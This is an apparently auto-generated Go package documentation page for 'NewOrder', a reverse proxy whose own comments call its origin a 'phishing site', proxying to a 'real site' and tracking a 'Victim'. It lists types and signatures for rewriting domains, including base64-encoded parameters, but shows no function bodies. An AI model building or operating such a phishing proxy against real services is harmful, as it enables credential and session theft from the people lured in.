proxy

package
v0.0.0-...-6d7c776 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Jul 14, 2022 License: BSD-3-Clause Imports: 32 Imported by: 0

Documentation

Overview

Package proxy contains the core of the NewOrder server

*

## ## ######## ## ## ####### ######## ######## ######## ######## ### ## ## ## ## ## ## ## ## ## ## ## ## ## ## #### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ###### ## ## ## ## ## ######## ## ## ###### ######## ## #### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ######## ### ### ####### ## ## ######## ######## ## ##

"NewOrder" - Reverse Proxy 1.0
    "CHANGE THE WORLD..."

Copyright 2022 (C) NEMESIS. neworder@tutamail.com. All rights reserved.

*

*

## ## ######## ## ## ####### ######## ######## ######## ######## ### ## ## ## ## ## ## ## ## ## ## ## ## ## ## #### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ###### ## ## ## ## ## ######## ## ## ###### ######## ## #### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ######## ### ### ####### ## ## ######## ######## ## ##

"NewOrder" - Reverse Proxy SE
    "CHANGE THE WORLD..."

Copyright 2022 (C) NEMESIS. neworder@tutamail.com. All rights reserved.

*

*

## ## ######## ## ## ####### ######## ######## ######## ######## ### ## ## ## ## ## ## ## ## ## ## ## ## ## ## #### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ###### ## ## ## ## ## ######## ## ## ###### ######## ## #### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ######## ### ### ####### ## ## ######## ######## ## ##

"NewOrder" - Reverse Proxy SE
    "CHANGE THE WORLD..."

Copyright 2022 (C) NEMESIS. neworder@tutamail.com. All rights reserved.

*

*

## ## ######## ## ## ####### ######## ######## ######## ######## ### ## ## ## ## ## ## ## ## ## ## ## ## ## ## #### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ###### ## ## ## ## ## ######## ## ## ###### ######## ## #### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ######## ### ### ####### ## ## ######## ######## ## ##

"NewOrder" - Reverse Proxy SE
    "CHANGE THE WORLD..."

Copyright 2022 (C) NEMESIS. neworder@tutamail.com. All rights reserved.

*

*

## ## ######## ## ## ####### ######## ######## ######## ######## ### ## ## ## ## ## ## ## ## ## ## ## ## ## ## #### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ###### ## ## ## ## ## ######## ## ## ###### ######## ## #### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ######## ### ### ####### ## ## ######## ######## ## ##

"NewOrder" - Reverse Proxy SE
    "CHANGE THE WORLD..."

Copyright 2022 (C) NEMESIS. neworder@tutamail.com. All rights reserved.

*

Index

Constants

View Source
const (
	// Base64Padding is the padding to use within base64 operations
	Base64Padding = '='

	// Wildcard key
	WildcardPrefix = "wld"
)

Variables

View Source
var (
	Wildcards = false
)

Functions

func ArmorDomain

func ArmorDomain(slice []string) []string

ArmorDomain filters duplicate strings in place and returns a slice with only unique strings.

func IsSubdomain

func IsSubdomain(domain string, toCheck string) bool

func RedirectToHTTPS

func RedirectToHTTPS(port int) http.HandlerFunc

func Run

func Run(sess *session.Session)

Types

type Base64

type Base64 struct {
	Enabled bool
	Padding []string
}

Base64 identifies if the transformation should consider base-64 data and the related padding rules

type BufferPool

type BufferPool interface {
	Get() []byte
	Put([]byte)
}

A BufferPool is an interface for getting and returning temporary byte slices for use by io.CopyBuffer.

type NewOrderProxy

type NewOrderProxy struct {
	Session *session.Session

	Origin       string   // proxy origin (phishing site)
	Target       *url.URL // proxy destination (real site)
	Victim       string   // UUID
	ReverseProxy *ReverseProxy
	Tracker      *tracking.Tracker
	Replacer     *Replacer
}

func (*NewOrderProxy) ProxyErrHandler

func (neworder *NewOrderProxy) ProxyErrHandler(response http.ResponseWriter, request *http.Request, err error)

func (*NewOrderProxy) RequestBodyProcessor

func (neworder *NewOrderProxy) RequestBodyProcessor(request *http.Request, track *tracking.Trace, base64 Base64) (err error)

func (*NewOrderProxy) RequestProcessor

func (neworder *NewOrderProxy) RequestProcessor(request *http.Request) (err error)

func (*NewOrderProxy) ResponseProcessor

func (neworder *NewOrderProxy) ResponseProcessor(response *http.Response) (err error)

type NewOrderProxyInit

type NewOrderProxyInit struct {
	Session  *session.Session
	Replacer *Replacer

	Origin string // proxy origin (phishing site)
	Target string // proxy destination (real site)
}

func (*NewOrderProxyInit) Spawn

func (init *NewOrderProxyInit) Spawn() *NewOrderProxy

type Replacer

type Replacer struct {
	Phishing                      string
	Target                        string
	ExternalOrigin                []string
	ExternalOriginPrefix          string
	OriginsMapping                map[string]string // The origin map who maps between external origins and internal origins
	WildcardMapping               map[string]string
	CustomResponseTransformations [][]string
	ForwardReplacements           []string
	BackwardReplacements          []string
	LastForwardReplacements       []string
	LastBackwardReplacements      []string

	WildcardDomain string
}

Replacer structure used to populate the transformation rules

func (*Replacer) DomainMapping

func (r *Replacer) DomainMapping() (err error)

func (*Replacer) MakeReplacements

func (r *Replacer) MakeReplacements()

MakeReplacements prepares the forward and backward replacements to be used in the proxy

func (*Replacer) Transform

func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result string)

Transform If used with forward=true, Transform uses Replacer to replace all occurrences of the phishing origin, the external domains defined, as well as the rest of the data to be replaced defined in MakeReplacements(), with the target real origin. If used with forward=false, Transform will replace data coming from the targeted origin with the real proxied origin (target). Forward: - true > change requests, i.e. phishing > target origin - false > change response, i.e. target origin > phishing Base64: Since some request parameter values can be base64 encoded, we need to decode first, apply the transformation and re-encode (hello ReCaptcha)

type Response

type Response struct {
	*http.Response
}

func (*Response) Pack

func (response *Response) Pack(buffer []byte) (err error)

func (*Response) Unpack

func (response *Response) Unpack() (buffer []byte, err error)

type ReverseProxy

type ReverseProxy struct {
	// Director must be a function which modifies
	// the request into a new request to be sent
	// using Transport. Its response is then copied
	// back to the original client unmodified.
	// Director must not access the provided Request
	// after returning.
	Director func(*http.Request)

	// The transport used to perform proxy requests.
	// If nil, http.DefaultTransport is used.
	Transport http.RoundTripper

	// FlushInterval specifies the flush interval
	// to flush to the client while copying the
	// response body.
	// If zero, no periodic flushing is done.
	FlushInterval time.Duration

	// ErrorLog specifies an optional logger for errors
	// that occur when attempting to proxy the request.
	// If nil, logging goes to os.Stderr via the log package's
	// standard logger.
	ErrorLog *log.Logger

	// BufferPool optionally specifies a buffer pool to
	// get byte slices for use by io.CopyBuffer when
	// copying HTTP response bodies.
	BufferPool BufferPool

	// ModifyResponse is an optional function that modifies the
	// Response from the backend. It is called if the backend
	// returns a response at all, with any HTTP status code.
	// If the backend is unreachable, the optional ErrorHandler is
	// called without any call to ModifyResponse.
	//
	// If ModifyResponse returns an error, ErrorHandler is called
	// with its error value. If ErrorHandler is nil, its default
	// implementation is used.
	ModifyResponse func(*http.Response) error

	// ErrorHandler is an optional function that handles errors
	// reaching the backend or errors from ModifyResponse.
	//
	// If nil, the default is to log the provided error and return
	// a 502 Status Bad Gateway response.
	ErrorHandler func(http.ResponseWriter, *http.Request, error)
}

ReverseProxy is an HTTP Handler that takes an incoming request and sends it to another server, proxying the response back to the client.

func NewSingleHostReverseProxy

func NewSingleHostReverseProxy(target *url.URL) *ReverseProxy

NewSingleHostReverseProxy returns a new ReverseProxy that routes URLs to the scheme, host, and base path provided in target. If the target's path is "/base" and the incoming request was for "/dir", the target request will be for /base/dir. NewSingleHostReverseProxy does not rewrite the Host header. To rewrite Host headers, use ReverseProxy directly with a custom Director policy.

func (*ReverseProxy) ServeHTTP

func (p *ReverseProxy) ServeHTTP(rw http.ResponseWriter, req *http.Request)

type SessionType

type SessionType struct {
	Session  *session.Session
	Replacer *Replacer
}

func (*SessionType) HandleFood

func (st *SessionType) HandleFood(response http.ResponseWriter, request *http.Request)

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL